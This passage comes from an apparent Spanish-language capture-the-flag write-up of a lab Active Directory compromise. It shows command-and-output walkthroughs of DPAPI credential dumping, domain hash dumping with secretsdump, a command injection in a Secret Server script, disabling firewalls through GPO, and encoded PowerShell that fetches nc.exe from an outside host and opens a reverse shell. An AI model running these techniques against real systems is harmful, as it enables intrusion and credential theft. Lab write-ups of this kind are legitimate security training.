: Domain:batch=TaskScheduler:Task:{D3000B16-D5D6-4FF3-9038-F368155DBB77} TargetAlias : Comment : UserName : DAEDALUS\Administrator Credential : pleasefastenyourseatbelts01! Folder : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D guidMasterKey : {e892348e-5a34-4a9a-bd46-2f5f3186318b} size : 11152 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 9/30/2020 10:33:42 AM TargetName : WindowsLive:target=virtualapp/didlogical TargetAlias : Comment : PersistedCredential UserName : 02sxobiqthvopecv Credential : Folder : C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D guidMasterKey : {e892348e-5a34-4a9a-bd46-2f5f3186318b} size : 11152 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 9/30/2020 12:34:45 PM TargetName : WindowsLive:target=virtualapp/didlogical TargetAlias : Comment : PersistedCredential UserName : 02uqnqqpyctvsadl Credential : SharpDPAPI completed in 00:00:01.2235666 |
Y vemos que hemos obtenido dos credenciales de usuarios administrator, una del servidor actual, WEB01, y otra del AD DAEDALUS
|
1 2 |
WEB01\Administrator:EXuLyX_WtHxx9pS9 DAEDALUS\Administrator:pleasefastenyourseatbelts01! |
Así que tratamos de descubrir donde está el ad y lo descubrimos en la ip 192.168.10.6 por lo que vamos a lanzar un escaneo a ver que puertos tiene abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap1 -Pn 192.168.10.6 Nmap scan report for 192.168.10.6 Host is up, received user-set (0.067s latency). Scanned at 2023-11-11 11:09:38 GMT for 263s Not shown: 65515 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 64 88/tcp open kerberos-sec syn-ack ttl 64 135/tcp open msrpc syn-ack ttl 64 139/tcp open netbios-ssn syn-ack ttl 64 389/tcp open ldap syn-ack ttl 64 445/tcp open microsoft-ds syn-ack ttl 64 464/tcp open kpasswd5 syn-ack ttl 64 593/tcp open http-rpc-epmap syn-ack ttl 64 636/tcp open ldapssl syn-ack ttl 64 3268/tcp open globalcatLDAP syn-ack ttl 64 3269/tcp open globalcatLDAPssl syn-ack ttl 64 5985/tcp open wsman syn-ack ttl 64 9389/tcp open adws syn-ack ttl 64 49667/tcp open unknown syn-ack ttl 64 49677/tcp open unknown syn-ack ttl 64 49678/tcp open unknown syn-ack ttl 64 49686/tcp open unknown syn-ack ttl 64 49689/tcp open unknown syn-ack ttl 64 49692/tcp open unknown syn-ack ttl 64 49712/tcp open unknown syn-ack ttl 64 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Nov 11 11:14:01 2023 -- 1 IP address (1 host up) scanned in 262.50 seconds |
Y posteriormente lanzamos un escaneo completo sobre los puertos abiertos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
$ nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49677,49678,49686,49689,49692,49712 -oA enumeration/nmap2 -Pn 192.168.10.6 Nmap scan report for 192.168.10.6 Host is up (0.071s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-11-11 12:32:12Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: daedalus.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: daedalus.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49678/tcp open msrpc Microsoft Windows RPC 49686/tcp open msrpc Microsoft Windows RPC 49689/tcp open msrpc Microsoft Windows RPC 49692/tcp open msrpc Microsoft Windows RPC 49712/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 1h16m48s | smb2-time: | date: 2023-11-11T12:33:02 |_ start_date: N/A |_nbstat: NetBIOS name: DC1, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:3d:21 (VMware) | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Nov 11 11:16:53 2023 -- 1 IP address (1 host up) scanned in 98.03 seconds |
Enumerada esta parte y visto que tiene abierto winrm vamos a conectarnos al mismo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ evil-winrm -i 192.168.10.6 -u svc_backup -p 'jkQXAnHKj#7w#XS$' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\Documents> whoami daedalus\svc_backup *Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\Documents> hostname DC1 *Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\Documents> |
Y del escritorio del usuario sacamos la tercera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
*Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\desktop> dir Directory: C:\Users\svc_backup.DAEDALUS\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 10/14/2020 10:41 AM 29 flag.txt *Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\desktop> type flag.txt ASCENSION{15nT_XXXXXXXXXXXXXXXXXXX} |
4. Wingman
Llegados a este punto, después de dar muchas vueltas, y de querer hacerlo de la forma para la que fue diseñado (tenemos credenciales del administrator del AD, pero vamos a hacerlo bien), descubrimos un segundo disco montado en el sistema
|
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\desktop> get-psdrive -psprovider filesystem Name Used (GB) Free (GB) Provider Root CurrentLocation ---- --------- --------- -------- -------- ------- C FileSystem Users\svc_backup.DAEDALUS\desktop E FileSystem E:\ |
Revisamos el mismo y vemos varios ficheros interesantes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
*Evil-WinRM* PS C:\Users\svc_backup.DAEDALUS\desktop> e: *Evil-WinRM* PS E:\> dir Directory: E:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/13/2020 3:54 PM Annual IT Compliance Report - Export *Evil-WinRM* PS E:\> cd "Annual IT Compliance Report - Export" *Evil-WinRM* PS E:\Annual IT Compliance Report - Export> dir Directory: E:\Annual IT Compliance Report - Export Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/10/2020 6:04 AM 4852 Builtin.txt -a---- 10/10/2020 6:04 AM 530 Daedalus.txt -a---- 10/10/2020 6:05 AM 2541 Users.txt *Evil-WinRM* PS E:\Annual IT Compliance Report - Export> |
Y en uno de ellos vemos las credenciales del usuario administrator local de la máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
*Evil-WinRM* PS E:\Annual IT Compliance Report - Export> type Users.txt Name Type Description Administrator User DSRM Password: kF4df76fj*JfAcf73j Allowed RODC Password Replication Group Security Group - Domain Local Members in this group can have their passwords replicated to all read-only domain controllers in the domain Cert Publishers Security Group - Domain Local Members of this group are permitted to publish certificates to the directory Cloneable Domain Controllers Security Group - Global Members of this group that are domain controllers may be cloned. Denied RODC Password Replication Group Security Group - Domain Local Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain DnsAdmins Security Group - Domain Local DNS Administrators Group DnsUpdateProxy Security Group - Global DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers). Domain Admins Security Group - Global Designated administrators of the domain Domain Computers Security Group - Global All workstations and servers joined to the domain Domain Controllers Security Group - Global All domain controllers in the domain Domain Guests Security Group - Global All domain guests Domain Users Security Group - Global All domain users Don Jones User Enterprise Admins Security Group - Universal Designated administrators of the enterprise Enterprise Key Admins Security Group - Universal Members of this group can perform administrative actions on key objects within the forest. Enterprise Read-only Domain Controllers Security Group - Universal Members of this group are Read-Only Domain Controllers in the enterprise Group Policy Creator Owners Security Group - Global Members in this group can modify group policy for the domain Guest User Built-in account for guest access to the computer/domain Key Admins Security Group - Global Members of this group can perform administrative actions on key objects within the domain. Max Madders User Protected Users Security Group - Global Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information. RAS and IAS Servers Security Group - Domain Local Servers in this group can access remote access properties of users Read-only Domain Controllers Security Group - Global Members of this group are Read-Only Domain Controllers in the domain Schema Admins Security Group - Universal Designated administrators of the schema |
Verificamos con crackmapexec
|
1 2 3 |
$ crackmapexec smb 192.168.10.6 -u administrator -p 'kF4df76fj*JfAcf73j' --local-auth SMB 192.168.10.6 445 DC1 [*] Windows 10.0 Build 17763 x64 (name:DC1) (domain:DC1) (signing:True) (SMBv1:False) SMB 192.168.10.6 445 DC1 [+] DC1\administrator:kF4df76fj*JfAcf73j (Pwn3d!) |
Y antes de continuar, y ya que tenemos credenciales, hacemos un dumpeo de hashes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ impacket-secretsdump DC1/administrator:'kF4df76fj*JfAcf73j'@192.168.10.6 -just-dc Impacket v0.11.0 - Copyright 2023 Fortra [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:a3ff633d308be8e06dbb4e2e88783533::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3e1e73de1f69e094386b8496fdbdaa90::: daedalus.local\elliot:1112:aad3b435b51404eeaad3b435b51404ee:74fdf381a94e1e446aaedf1757419dcd::: daedalus.local\svc_backup:1602:aad3b435b51404eeaad3b435b51404ee:f913cd9d773be0d48389d45a20b6364a::: daedalus.local\billing_user:1603:aad3b435b51404eeaad3b435b51404ee:65043c86ce4386582442450feed8ce53::: DC1$:1000:aad3b435b51404eeaad3b435b51404ee:08e59bc3426bcf015f34ea366eac4c19::: WEB01$:1109:aad3b435b51404eeaad3b435b51404ee:c2c76e659577f40f6f1062dde600ec0b::: MEGAAIRLINE$:1108:aad3b435b51404eeaad3b435b51404ee:71eb880627abdbe357b322a5fa6ac8a2::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:530f10cb4ac029d2cc6aa28ffcba3a39e794e02b5119243cd67b77eecd92b1e0 Administrator:aes128-cts-hmac-sha1-96:1d331149740fca397eb252f5b88b9e46 Administrator:des-cbc-md5:25200dea6e7ce067 krbtgt:aes256-cts-hmac-sha1-96:ee5a3d3321ee94752eb96a7ff4e8bb82c7d1431e232f0e7d85c45b005499de1b krbtgt:aes128-cts-hmac-sha1-96:4f4ba7d31e23f80b6cfe122730a7ad63 krbtgt:des-cbc-md5:d6e35bfd1a929ed0 daedalus.local\elliot:aes256-cts-hmac-sha1-96:3ae968c2113dbf0ff1455813d07b8a99f979f2e7bd936e1a9d06b1a9d25cc3a1 daedalus.local\elliot:aes128-cts-hmac-sha1-96:aaf490b3af4f031809aa7273499723c2 daedalus.local\elliot:des-cbc-md5:196df2dc709e5e3b daedalus.local\svc_backup:aes256-cts-hmac-sha1-96:c88b6ff22e3eefb8b2fbd9242fb196b1e3e1e7c9190ccb7aee8b79aa60207b02 daedalus.local\svc_backup:aes128-cts-hmac-sha1-96:a5c20640e0db1bb828f4900572024cb8 daedalus.local\svc_backup:des-cbc-md5:58bc6708f107cd7a daedalus.local\billing_user:aes256-cts-hmac-sha1-96:6c71bdd561b9e9405408183ec007c22a4f39b13e1ffc95f1eee141962899254c daedalus.local\billing_user:aes128-cts-hmac-sha1-96:3cdb110db4d9f3e60dbb2adb47bf18c6 daedalus.local\billing_user:des-cbc-md5:dc7fbfe9685e8586 DC1$:aes256-cts-hmac-sha1-96:27946d9966f2f32719c62079ae22f06a8eaca2006af784f552a93c8658ffda8f DC1$:aes128-cts-hmac-sha1-96:6da146fa56a1f62d33c54ef4e4fba305 DC1$:des-cbc-md5:5886c213c231739b WEB01$:aes256-cts-hmac-sha1-96:57efbe8d641f5a32953edb4882ace7121566674f8b16f31d88e754bb6c595365 WEB01$:aes128-cts-hmac-sha1-96:2f7331495705f8ac6fec54dd77c764d8 WEB01$:des-cbc-md5:f2755873793e54f4 MEGAAIRLINE$:aes256-cts-hmac-sha1-96:9debc07f375a87c992057292ccb1f9d480628a2107c994119d49b7b3aa1a0ee3 MEGAAIRLINE$:aes128-cts-hmac-sha1-96:c25198c6c899d17eb9f279c88669cfef MEGAAIRLINE$:des-cbc-md5:4c58ef2f52205ea1 [*] Cleaning up... |
Pasamos los mismos por un servicio online como crackstation y sacamos la password del usuario elliot que puede ser de utilidad más adelante
|
1 |
daedalus.local\elliot:84@m!n@9 |
Acabada esta parte conectamos como administrator y cogemos la cuarta flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ evil-winrm -i 192.168.10.6 -u administrator -H a3ff633d308be8e06dbb4e2e88783533 Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami daedalus\administrator h*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname DC1 *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> dir Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 10/14/2020 10:40 AM 27 flag.txt t*Evil-WinRM* PS C:\Users\Administrator\desktop> type flag.txt ASCENSION{0G_XXXXXXXXXXXXXXXXXX} *Evil-WinRM* PS C:\Users\Administrator\desktop> |
5. Corridor
Una vez dentro del AD como administrator revisamos interfaces de red
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> ipconfig Windows IP Configuration Ethernet adapter Ethernet1 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::a02a:ec1b:9e19:11b9%14 IPv4 Address. . . . . . . . . . . : 192.168.11.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Ethernet0 5: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::f09f:d091:5e2a:b85f%7 IPv4 Address. . . . . . . . . . . : 192.168.10.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : |
Y vemos que este tiene una pata en otra red, la 192.168.11.0/24, la cual pertenece al segundo bosque que mencionaba en la introducción de este endgame.
Descubierta la nueva red vamos a revisar la tabla arp a ver si podemos ver un listado de servidores a los cuales se ha conectado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> arp -a Interface: 192.168.10.6 --- 0x7 Internet Address Physical Address Type 192.168.10.39 00-50-56-b9-df-a8 dynamic 192.168.10.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static Interface: 192.168.11.6 --- 0xe Internet Address Physical Address Type 192.168.11.201 00-50-56-b9-13-c1 dynamic 192.168.11.210 00-50-56-b9-49-96 dynamic 192.168.11.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static |
Y obtenemos dos ips en la red 11
|
1 2 |
192.168.11.201 192.168.11.210 |
Subiremos powerview y lanzaremos la utilidad de MapDomainTrust para obtener el nombre de este segundo bosque
|
1 2 3 4 5 6 7 8 9 10 11 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> import-module .\powerview.ps1 *Evil-WinRM* PS C:\Users\Administrator\desktop> Invoke-MapDomainTrust SourceName : daedalus.local TargetName : megaairline.local TrustType : WINDOWS_ACTIVE_DIRECTORY TrustAttributes : FOREST_TRANSITIVE TrustDirection : Bidirectional WhenCreated : 10/10/2020 5:48:47 PM WhenChanged : 11/11/2023 3:38:14 AM |
Con el AD descubierto podemos tratar de descubrir que ip tiene cada uno de los dos servidores que nos quedan (MS01 y DC2), así que lanzamos un nslookup para ver a que servidor pertenece cada una de las ips
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> nslookup dc2.megaairline.local DNS request timed out. timeout was 2 seconds. Server: UnKnown Address: 192.168.11.201 Name: dc2.megaairline.local Address: 192.168.11.201 *Evil-WinRM* PS C:\Users\Administrator\desktop> nslookup ms01.megaairline.local DNS request timed out. timeout was 2 seconds. Server: UnKnown Address: 192.168.11.201 Name: ms01.megaairline.local Address: 192.168.11.210 |
Subiremos a continuación Portscan para poder ver que puertos tienen abiertos sin necesidad de tener que lanzar un segundo tunel para llegar desde nuestro kali
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> import-module .\Invoke-Portscan.ps1 *Evil-WinRM* PS C:\Users\Administrator\desktop> Invoke-Portscan -TopPorts 1000 -T 4 -oA dc2-ms01-scan -Hosts 192.168.11.201,192.168.11.210 Hostname : 192.168.11.201 alive : True openPorts : {445, 139, 53, 135...} closedPorts : {23, 443, 21, 3389...} filteredPorts : {80, 119, 9100, 4899...} finishTime : 11/11/2023 5:11:12 AM Hostname : 192.168.11.210 alive : True openPorts : {80, 443, 3389, 135} closedPorts : {} filteredPorts : {6000, 88, 2049, 8081...} finishTime : 11/11/2023 5:11:12 AM |
En este caso y para facilitar la vida vamos a conectarnos por RDP al servidor, pero este no se encuentra habilitado, así que lo habilitamos y lo permitimos en el firewall
|
1 2 |
*Evil-WinRM* PS C:\Users\Administrator\desktop> Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0 *Evil-WinRM* PS C:\Users\Administrator\desktop> Enable-NetFirewallRule -DisplayGroup "Remote Desktop" |
Y conectaremos por rdp, donde veremos una sesión abierta en el navegador con acceso a un portal de Secret Server de Thycotic contra el puerto 80 de la máquina MS01
Probamos el acceso con las credenciales descubiertas hasta el momento y entramos con el usuario elliot
Navegamos por el portal buscando algún punto vulnerable, buscamos información a cerca de la versión, posibles vulnerabilidades pero perdemos demasiado tiempo para nada, hasta que al final detectamos una vulnerabilidad de Command Injection en los scripts configurados.
Revisamos los scripts existentes, y sobre todo uno en particular
Hay un script en bash que podemos modificar para ejecutar comandos en el sistema, así que hacemos una prueba para ejecutar el comando whoami en el servidor
Configuramos el acceso
Y ejecutamos, verificando que el comando se ha ejecutado correctamente
Así que lanzamos otra ejecución pero en este caso para obtener la quinta flag
|
1 |
foo || type c:\users\elliot\desktop\flag.txt || foo |
Y obtenemos la misma
|
1 |
[80X[80C[3;1H[?25h[?25lASCENSION{n0t_XXXXXXXXXXXXXXXXXXX} [?25h |
6. Upgrade
Ya tenemos la flag, pero seguimos necesitando acceder al servidor para poder continuar por lo que tratamos de subir una revshell, aunque nada funciona.
Esto quiere decir que está habilitado el firewall, así que como el DC1 tiene una pata en el DC2 podemos crear una GPO que deshabilite el firewall en todos los servidores del AD, por lo tanto vamos a ello.
Abrimos el panel de Group Policy Management ejecutando
|
1 |
gpmc.msc |
Y crearemos una GPO nueva a la que llamaremos «Disable Firewall»
Posteriormente la editamos y nos vamos a
Computer Configuration → Policies → Administrative Templates → Network → Network Connections → Windows Defender → Firewall → Domain Profile
Y deshabilitaremos la directiva «Windows Defender Firewall: Protect all network connections.»
Y ahora sí que podremos ejecutar la revshell, así que vamos a subir netcat a la máquina, y para ello necesitamos instalar python.
Descargamos el ejecutable en msi de python2 de su web oficial y lo instalamos
|
1 |
*Evil-WinRM* PS C:\Users\Administrator\Documents> msiexec /i python-2.7.18.msi /qn |
Levantamos el servidor
|
1 2 |
PS C:\Users\Administrator> c:\python27\python.exe -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... |
Y codificaremos el payload nuevo que será el siguiente
|
1 2 |
$ cat payload1 iwr -uri http://192.168.11.6/nc.exe -outfile c:\inetpub\wwwroot\nc.exe |
Lo codificamos
|
1 2 |
$ echo "powershell -nop -w hidden -e " `cat payload1 | iconv -t UTF-16LE | base64 -w0` powershell -nop -w hidden -e aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAxAC4ANgAvAG4AYwAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAYwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABuAGMALgBlAHgAZQAKAA== |
Y enviamos a través de la vulnerabilidad en el panel de Thycotic, viendo como se ha descargado el fichero
|
1 2 3 |
PS C:\Users\Administrator\documents> c:\python27\python.exe -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 port 80 ... 192.168.11.210 - - [11/Nov/2023 16:17:04] "GET /nc.exe HTTP/1.1" 200 - |
Ahora vamos con el segundo payload, que nos ejecutará la revshell
|
1 2 3 4 |
$ cat payload2 c:\inetpub\wwwroot\nc.exe 192.168.11.6 4444 -e cmd $ echo "powershell -nop -w hidden -e " `cat payload2 | iconv -t UTF-16LE | base64 -w0` powershell -nop -w hidden -e YwA6AFwAaQBuAGUAdABwAHUAYgBcAHcAdwB3AHIAbwBvAHQAXABuAGMALgBlAHgAZQAgADEAOQAyAC4AMQA2ADgALgAxADEALgA2ACAANAA0ADQANAAgAC0AZQAgAGMAbQBkAAoA |
Y obtenemos acceso con el usuario elliot en la máquina MS01
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
PS C:\Users\Administrator\documents> .\nc.exe -nlvp 4444 listening on [any] 4444 ... connect to [192.168.11.6] from (UNKNOWN) [192.168.11.210] 53472 Microsoft Windows [Version 10.0.17763.1613] (c) 2018 Microsoft Corporation. All rights reserved. megaairline\elliot@MS01 C:\Users\elliot> megaairline\elliot@MS01 C:\Users\elliot>whoami whoami megaairline\elliot megaairline\elliot@MS01 C:\Users\elliot>hostname hostname MS01 megaairline\elliot@MS01 C:\Users\elliot> |
Llegados a este punto, comenzamos la enumeración en este servidor y, en la carpeta de descargas del usuario, vemos el instalador de Slack
|
1 2 3 4 5 6 7 8 9 10 11 12 |
megaairline\elliot@MS01 C:\Users\elliot\Downloads>dir dir Volume in drive C has no label. Volume Serial Number is 4527-920B Directory of C:\Users\elliot\Downloads 10/16/2020 07:00 AM <DIR> . 10/16/2020 07:00 AM <DIR> .. 10/16/2020 07:00 AM 83,040,752 SlackSetup.exe 1 File(s) 83,040,752 bytes 2 Dir(s) 11,083,816,960 bytes free |
Por lo que buscamos en los ficheros temporales del usuario y encontramos un blob del navegador Chrome
|
1 2 3 4 5 6 7 8 9 10 11 12 |
megaairline\elliot@MS01 C:\Users\elliot\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_app.slack.com_0.indexeddb.blob\1\00>dir dir Volume in drive C has no label. Volume Serial Number is 4527-920B Directory of C:\Users\elliot\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_app.slack.com_0.indexeddb.blob\1\00 10/16/2020 07:04 AM <DIR> . 10/16/2020 07:04 AM <DIR> .. 10/16/2020 08:28 AM 170,673 7 1 File(s) 170,673 bytes 2 Dir(s) 11,082,919,936 bytes free |
Copiamos el fichero al directorio del portal web
|
1 2 3 |
megaairline\elliot@MS01 C:\Users\elliot>copy "C:\Users\elliot\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_app.slack.com_0.indexeddb.blob\1\00\7" c:\inetpub\wwwroot\7.txt copy "C:\Users\elliot\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_app.slack.com_0.indexeddb.blob\1\00\7" c:\inetpub\wwwroot\7.txt 1 file(s) copied. |
Descargamos el mismo y con strings en nuestro kali obtenemos una contraseña
|
1 2 3 4 5 6 |
$ strings 7 ... text";MS01 admin account and password: ```elliot LetMeInAgain!```" ... |
Con las credenciales obtenidas, accedemos por rdp al servidor MS01, abrimos una terminal, y como tenemos permisos de admin vamos al escritorio del usuario administrator para coger la sexta flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
PS C:\Windows\system32> whoami ms01\elliot PS C:\Windows\system32> cd c:\users\administrator\desktop PS C:\users\administrator\desktop> dir Directory: C:\users\administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 10/16/2020 9:02 AM 33 flag.txt PS C:\users\administrator\desktop> type flag.txt ASCENSION{sL4ck1ng_XXXXXXXXXXXXXXXXXXX} |
7. Maverick
El siguiente paso será conseguir acceso en el servidor DC2 para obtener la última flag con la que acabar este endgame.
Subimos SharpDpapi de nuevo y lo ejecutamos en esta máquina
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
PS C:\users\elliot> .\SharpDPAPI.exe machinetriage __ _ _ _ ___ (_ |_ _. ._ ._ | \ |_) /\ |_) | __) | | (_| | |_) |_/ | /--\ | _|_ | v1.11.2 [*] Action: Machine DPAPI Credential, Vault, and Certificate Triage [*] Elevating to SYSTEM via token duplication for LSA secret retrieval [*] RevertToSelf() [*] Secret : DPAPI_SYSTEM [*] full: 487772FBFFEDCCD08B08239AF25F7C42A0C2AB7636CBEDE3241336B34893574F96C27A7411F18A6C [*] m/u : 487772FBFFEDCCD08B08239AF25F7C42A0C2AB76 / 36CBEDE3241336B34893574F96C27A7411F18A6C [*] SYSTEM master key cache: {236ba6f2-6d51-4312-beb2-365eb2897601}:E9AB8AB7568ABEEA751B1D5B4A8C14A682DE5CC4 {47a0efae-ec7e-45ed-8da5-afaece1694b8}:0E2596F244AE7518E33470ADA263DAC7D1478938 {6af669bc-5e57-413c-ba26-6d63fb62c794}:78EF352E05532ADF635D9AFEEC839B96E99601A6 {b88476d3-b611-4e16-be7f-8525fb5dcd4f}:14F7A4B882D7D01EDF4C9015E10868649F58D159 {bd0e6c0c-1301-4c56-90f0-4dd4504dc8ce}:F2FBB1F90F09F29D7B20D4366BCE33C9B439CC81 {360b584f-7027-4f23-85ad-b13720f57979}:58B9072F514E39AB9036140775FA34FE852924E4 {b0724227-4609-4b11-81ad-4694b3e3e947}:C5CCE9487809C753C814848080BF1DD16985B509 {e85f73ce-4638-49bf-a1b2-984e0be4890b}:1C834ECB6C3DC3502001A4974DDF46E01141FDDF {f52cb0ce-0f39-422a-bff2-68b49e60beb5}:11D1FB8FB59C7E18C8600959C13DF23FE22C8ADE [*] Triaging System Credentials Folder : C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials CredFile : 7E6A4CF66305FBFB5B060CD27A723F46 guidMasterKey : {360b584f-7027-4f23-85ad-b13720f57979} size : 576 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 10/14/2020 10:33:07 AM TargetName : Domain:batch=TaskScheduler:Task:{A7499C51-AB7C-44BF-9314-6A305239E450} TargetAlias : Comment : UserName : MS01\Administrator Credential : FWErfsgt4ghd7f6dwx Folder : C:\Windows\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials CredFile : DFBE70A7E5CC19A398EBF1B96859CE5D guidMasterKey : {360b584f-7027-4f23-85ad-b13720f57979} size : 11152 flags : 0x20000000 (CRYPTPROTECT_SYSTEM) algHash/algCrypt : 32782 (CALG_SHA_512) / 26128 (CALG_AES_256) description : Local Credential Data LastWritten : 10/12/2020 12:00:03 PM TargetName : WindowsLive:target=virtualapp/didlogical TargetAlias : Comment : PersistedCredential UserName : 02eblbamoyihsyxq Credential : |
